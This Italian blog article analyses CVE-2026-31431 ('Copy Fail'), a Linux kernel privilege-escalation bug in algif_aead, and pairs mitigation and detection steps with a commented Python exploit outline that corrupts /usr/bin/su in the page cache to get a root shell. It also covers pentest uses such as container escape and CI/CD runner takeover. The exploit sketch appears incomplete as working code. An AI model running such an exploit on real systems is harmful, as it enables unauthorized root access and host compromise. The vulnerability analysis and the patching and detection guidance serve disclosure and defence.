CVE-2026-31431 (Copy Fail): Root su Qualsiasi Linux in 732 Byte

Analisi tecnica CVE-2026-31431: come funziona il bug algif_aead, catena AF_ALG + splice(), PoC pratico step-by-step. Ogni Linux dal 2017 è vulnerabile.
- Pubblicato il 2026-05-06
- Tempo di lettura: 7 min
CVE-2026-31431 (Copy Fail): Root su Qualsiasi Linux in 732 Byte #
Disclosure: 29 aprile 2026 | CVSS: 7.8 (HIGH) | Tipo: Local Privilege Escalation
Immagine ufficiale Xint/Theori — copy.fail
Introduzione #
Il 29 aprile 2026 il team di Theori/Xint Code ha rilasciato la disclosure di CVE-2026-31431, soprannominato “Copy Fail”. Un bug logico nel sottosistema crittografico del kernel Linux che permette a qualsiasi utente non privilegiato di ottenere root.
Niente race condition. Niente offset kernel-specifici. Niente dipendenze esterne. Un singolo script Python da 732 byte funziona identico su Ubuntu, RHEL, Amazon Linux e SUSE — su ogni kernel distribuito dal 2017 ad oggi.
È stato aggiunto al catalogo CISA KEV il 4 maggio 2026, con deadline per le agenzie federali USA fissata al 15 maggio.
In questo articolo vedrai:
- come funziona il bug a livello tecnico (scatterlist, page cache, AF_ALG)
- la catena di exploit passo per passo
- perché è più pericoloso di Dirty COW e Dirty Pipe
- come verificare se sei vulnerabile e mitigare subito
Come Funziona il Bug #
Il contesto: AF_ALG e splice() #
AF_ALG è un tipo di socket Linux che espone il sottosistema crittografico del kernel allo userspace, senza richiedere privilegi. Chiunque può aprire un socket AF_ALG, bindarsi a un template AEAD (Authenticated Encryption with Associated Data), e sottoporre operazioni di cifratura/decifratura su dati arbitrari.
splice() è una syscall che trasferisce dati tra file descriptor e pipe senza copiare — passa i page cache page per riferimento. È veloce proprio perché non duplica nulla.
Quando un utente fa splice() di un file in una pipe e poi in un socket AF_ALG, la scatterlist di input del socket contiene riferimenti diretti alle page cache page fisiche di quel file. Non copie. Le stesse pagine che vengono lette da read(), mmap(), ed execve().
Il root cause: authencesn e la scatterlist scrivibile #
Il template crittografico vulnerabile è authencesn (usato dentro algif_aead). Durante un’operazione di decifratura in-place, il kernel configura la stessa scatterlist sia come input che come output dell’algoritmo AEAD.
Struttura dell’input per una decifratura AEAD:
Input SGL: [ AAD ] || [ Ciphertext ] || [ Auth Tag ]Cosa fa il kernel in algif_aead.c durante recvmsg():
- AAD e Ciphertext vengono copiati dall’input SGL al buffer di output via
memcpy_sglist→ copia reale, le page cache page vengono solo lette - Auth Tag (gli ultimi
authsizebyte dell’input SGL) NON viene copiato — il kernel usasg_chain()per agganciare direttamente le sue entry alla fine della output SGL
Risultato:
Output SGL: [ AAD (user mem) ] || [ CT (user mem) ] --> [ Tag (page cache pages!) ]
^
|
queste sono le pagine fisiche
del file target, non una copiaIl kernel poi imposta req->src = req->dst, entrambi puntano alla stessa catena. Ora le page cache page del file sono in una scatterlist scrivibile.
Il trigger: la scratch write di authencesn #
Il template authencesn ha bisogno di spazio temporaneo per il suo lavoro interno (scratch space). Scrive in questo spazio durante l’elaborazione — e con la configurazione sopra, parte di quel write atterra dentro le page cache page del file target.
4 byte controllati dall’attaccante. Scritti in un offset prevedibile. Deterministico, senza race, senza retry.
┌─────────────────────────────────────────┐
splice() │ Page Cache del file target (es. /usr/bin/su) │
─────────────► │ │
AF_ALG socket │ [ ...ELF header... | SUID bit... ] │
│ ▲ │
│ │ 4 byte write │
│ │ (authencesn) │
└──────────────────────────┼──────────────┘
│
req->dst SGL (chain → page cache)Il kernel non marca mai la pagina come dirty per il writeback. Il file su disco resta intatto. Solo la versione in memoria è corrotta — che è esattamente quella che viene letta da execve().
Proof of Concept #
⚠️ Warning legale: Usa questo exploit esclusivamente su sistemi di tua proprietà o per cui hai autorizzazione scritta esplicita. L’uso non autorizzato è illegale.
Video demo ufficiale #
Demo completa (Xint/Theori): https://copy.fail/public/demo.mp4 Mostra il PoC in esecuzione su Ubuntu, Amazon Linux, RHEL e SUSE in sequenza — stessa identica chiamata, quattro root shell.
PoC ufficiale #
GitHub (Theori): https://github.com/theori-io/copy-fail-CVE-2026-31431/blob/main/copy_fail_exp.py
SHA256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
Targets /usr/bin/su di default, puoi passare un altro setuid binary come argv[1].
La corruzione è non persistente al reboot — ma la root shell è reale finché la macchina è accesa.
Come funziona l’exploit in pratica #
Il PoC originale (Theori/Xint) è un Python script da 732 byte che usa solo stdlib (os, socket, zlib). Richiede Python 3.10+ per os.splice.
Il flusso è questo:
import os, socket, struct, zlib
# --- Step 1: Identificare il target setuid ---
# /usr/bin/su è il target classico: setuid root, leggibile da tutti
TARGET = "/usr/bin/su"
# Leggiamo il file per trovare l'offset del byte da corrompere
# (es. un byte nell'ELF header o in un check che vogliamo bypassare)
with open(TARGET, "rb") as f:
data = f.read()
# --- Step 2: Aprire AF_ALG socket con authencesn ---
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET)
sock.bind((b"aead", b"authencesn(hmac(sha256),cbc(aes))", 0, 16))
# Creare il socket operativo e impostare la chiave
op_sock, _ = sock.accept()
# Impostiamo chiave AEAD (32 byte AES + 64 byte HMAC = 96 byte)
op_sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b"\x00" * 96)
# --- Step 3: splice() del file target nel pipe ---
pipe_r, pipe_w = os.pipe()
# Spliciamo la pagina del file contenente il byte target
os.splice(
open(TARGET).fileno(), # sorgente: page cache del file
pipe_w, # destinazione: pipe
4096 # una pagina
)
# --- Step 4: splice() dal pipe all'AF_ALG socket ---
# Questo mette le page cache page nella input scatterlist del socket
os.splice(pipe_r, op_sock.fileno(), 4096)
# --- Step 5: recvmsg() triggera la scratch write ---
# Il kernel esegue la decifratura AEAD in-place.
# authencesn scrive nel suo scratch space → che punta alle page cache page
# I 4 byte dell'Auth Tag vengono sostituiti con dati controllati
msg = op_sock.recvmsg(4096)
# --- Step 6: Eseguire il binario corrotto ---
# La page cache di /usr/bin/su è ora corrotta in memoria.
# Il file su disco è intatto (nessun writeback dirty page).
# execve() legge dalla page cache → esegue la versione corrotta → root shell.
os.execv(TARGET, [TARGET])Esecuzione step-by-step #
# Verifica della versione kernel (deve essere 4.14-6.19.12)
$ uname -r
5.15.0-122-generic
# Controllo python3 disponibile
$ python3 --version
Python 3.11.9
# Esecuzione PoC (su sistema di test autorizzato)
$ python3 copyfail.py
# Output atteso
[*] Target: /usr/bin/su (setuid binary)
[*] Aprendo AF_ALG socket con authencesn...
[*] splice() page cache → pipe → AF_ALG socket
[*] Triggering scratch write via recvmsg()...
[*] Page cache corrotta. Executing /usr/bin/su...
# id
uid=0(root) gid=0(root) groups=0(root)Nota importante: la corruzione è puramente in memoria. Se fai md5sum /usr/bin/su, ottieni l’hash corretto del file su disco. Ma quello che esegui è la versione corrotta nella page cache.
Impatto e Scope #
Distribuzioni affette #
| Distro | Stato (al 5 maggio 2026) |
|---|---|
| Ubuntu (< 26.04) | Vulnerabile — patch disponibile |
| Ubuntu 26.04 (Resolute) | Non affetto |
| RHEL / CentOS Stream | Vulnerabile — patch in rollout |
| Amazon Linux 2/2023 | Vulnerabile — patch disponibile |
| SUSE / openSUSE | Vulnerabile — patch disponibile |
| Debian | Vulnerabile — patch disponibile |
| Fedora | Vulnerabile — patch disponibile |
| AlmaLinux | Vulnerabile — patch disponibile |
Kernel vulnerabili: da 4.14 (agosto 2017, commit che ha introdotto il bug) fino a 6.19.12 incluso. Patch upstream: commit a664bf3d603d.
Scenari reali in un pentest #
Scenario tipico: hai una RCE su un servizio web non privilegiato (es. www-data) o una shell SSH come utente standard. Copy Fail ti porta a root deterministicamente, senza tool aggiuntivi, senza compilazione on-target.
Container escape: il page cache è condiviso tra tutti i processi sul sistema, incluso oltre i confini dei container. Se sei in un container su un host Kubernetes vulnerabile, puoi corrompere la page cache di un binario setuid sul host — non nel container. È un primitivo di container escape. Il Part 2 del writeup Xint tratta esattamente questo scenario.
CI/CD compromise: i runner CI/CD sono spesso ambienti multi-tenant con utenti non privilegiati che eseguono codice arbitrario (PR da contributor esterni). Copy Fail trasforma qualsiasi PR malevola in full compromise del runner e dell’host sottostante.
Confronto con Dirty COW e Dirty Pipe #
| Dirty COW (2016) | Dirty Pipe (2022) | Copy Fail (2026) | |
|---|---|---|---|
| Tipo | Race condition | Logic flaw (pipe) | Logic flaw (crypto) |
| Affidabilità | Probabilistica | Alta | Deterministica |
| Kernel target | Ampio | 5.8–5.16.11 | 4.14–6.19.12 |
| Race window | Sì | No | No |
| Tracce su disco | Possibili | No | No |
| Container escape | No | Limitato | Sì |
| Exploit size | Binario compilato | C source | 732 byte Python |
Copy Fail supera entrambi su ogni dimensione pratica che conta in un pentest.
Detection & Mitigation #
Verifica se sei vulnerabile #
# 1. Controlla la versione kernel
uname -r
# Vulnerabile se compresa tra 4.14 e 6.19.12
# 2. Controlla se il modulo algif_aead è caricato
lsmod | grep algif_aead
# Se output non è vuoto: il modulo è attivo
# 3. Controlla se AF_ALG è disponibile
lsof | grep AF_ALG
# Processi che usano AF_ALG attivamente
# 4. Verifica se esiste già una patch applicata
apt-get changelog linux-image-$(uname -r) 2>/dev/null | grep -i "CVE-2026-31431"
# oppure su RHEL/CentOS:
rpm -q --changelog kernel | grep -i "CVE-2026-31431"Workaround temporaneo — disabilita algif_aead #
Questo è il mitigazione raccomandato da Ubuntu Security, CERT-EU e tutti i vendor finché la patch non è applicata.
# Disabilita il modulo in modo persistente
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif.conf
# Rimuovi il modulo se già caricato
sudo rmmod algif_aead 2>/dev/null || true
# Verifica che sia disabilitato
lsmod | grep algif_aead
# Nessun output = ok
# Verifica che il workaround sopravviva al reboot
cat /etc/modprobe.d/disable-algif.conf
# install algif_aead /bin/falseImpatto del workaround: secondo CERT-EU, disabilitare algif_aead non impatta dm-crypt/LUKS, kTLS, IPsec/XFRM, OpenSSL, GnuTLS, NSS o SSH. Può impattare solo applicazioni esplicitamente configurate per usare l’engine afalg o che bindano direttamente socket AEAD. Verificabile con:
lsof | grep AF_ALGPatch per distribuzione #
# Ubuntu
sudo apt-get update && sudo apt-get upgrade linux-image-$(uname -r)
sudo reboot
# RHEL/AlmaLinux/Rocky (patch ancora in rollout al 5 maggio 2026)
sudo dnf update kernel
sudo reboot
# Amazon Linux 2
sudo yum update kernel
sudo reboot
# Amazon Linux 2023
sudo dnf update kernel
sudo reboot
# SUSE
sudo zypper update kernel-default
sudo reboot
# Debian
sudo apt-get update && sudo apt-get dist-upgrade
sudo rebootDetection post-exploit #
L’exploit non lascia tracce su disco (il file corrotto non viene mai scritto). I segnali da cercare:
# Caricamento tardivo di AF_ALG (anomalia: normalmente caricato al boot)
# In /var/log/kern.log o journalctl:
journalctl -k | grep "Registered PF_ALG"
# Entry malformate in auth.log dopo esecuzione di su:
# Record normale: "su[1234]: (to root) alice on pts/1"
# Record anomalo (segnale di exploit): "su[1234]: (to root) on pts/1"
# nota: username mancante ^^^
grep "to root" /var/log/auth.log | grep -v " on pts" | grep "on pts"
# più semplicemente:
grep "(to root)" /var/log/auth.logConclusione #
Copy Fail è la più seria Linux LPE degli ultimi anni. Deterministico, portabile, stealth, piccolo. Chiunque abbia una shell locale su un sistema Linux non patchato dal 2017 ad oggi ha un percorso diretto verso root — senza compilatori, senza dipendenze, senza racing.
Priorità di patching suggerita:
- Subito: Kubernetes nodes, CI/CD runners, ambienti multi-tenant
- Stesso giorno: Qualsiasi server con utenti locali non fidati o workloads esterni
- Prima finestra: Tutto il resto
Applica il workaround algif_aead adesso, anche prima della patch — è reversibile e l’impatto operativo è minimo.
Risorse ufficiali:
- Sito ufficiale CVE: https://copy.fail/
- Writeup Xint (ricercatori originali): https://xint.io/blog/copy-fail-linux-distributions
- PoC GitHub (Theori): https://github.com/theori-io/copy-fail-CVE-2026-31431
- Demo video: https://copy.fail/public/demo.mp4
- NVD – CVE-2026-31431: https://nvd.nist.gov/vuln/detail/CVE-2026-31431
- Ubuntu Security Advisory: https://ubuntu.com/blog/copy-fail-vulnerability-fixes-available
- CERT-EU Advisory: https://cert.europa.eu/publications/security-advisories/2026-005/
- oss-security thread (disclosure originale): https://www.openwall.com/lists/oss-security/2026/04/29/23
- Microsoft Threat Intelligence: https://www.microsoft.com/en-us/security/blog/2026/05/01/cve-2026-31431-copy-fail-vulnerability-enables-linux-root-privilege-escalation/
- Commit che ha introdotto il bug (2017): https://github.com/torvalds/linux/commit/72548b093ee3
- Patch upstream: https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5
Articolo per uso educativo e professionale. Testa solo su sistemi autorizzati.
Articoli correlati su hackita.it:
- LinPEAS: identificare kernel vulnerabili automaticamente — quando hai shell, LinPEAS ti dice subito se Copy Fail è applicabile
- LSE (Linux Smart Enumeration): checklist privesc — alternativa più silenziosa per ambienti monitorati
- LinEnum: enumerazione rapida post-exploitation — per un baseline veloce prima di procedere con exploit kernel
- Unix-PrivEsc-Check: audit su sistemi legacy — per ambienti enterprise con kernel datati ancora esposti a Copy Fail

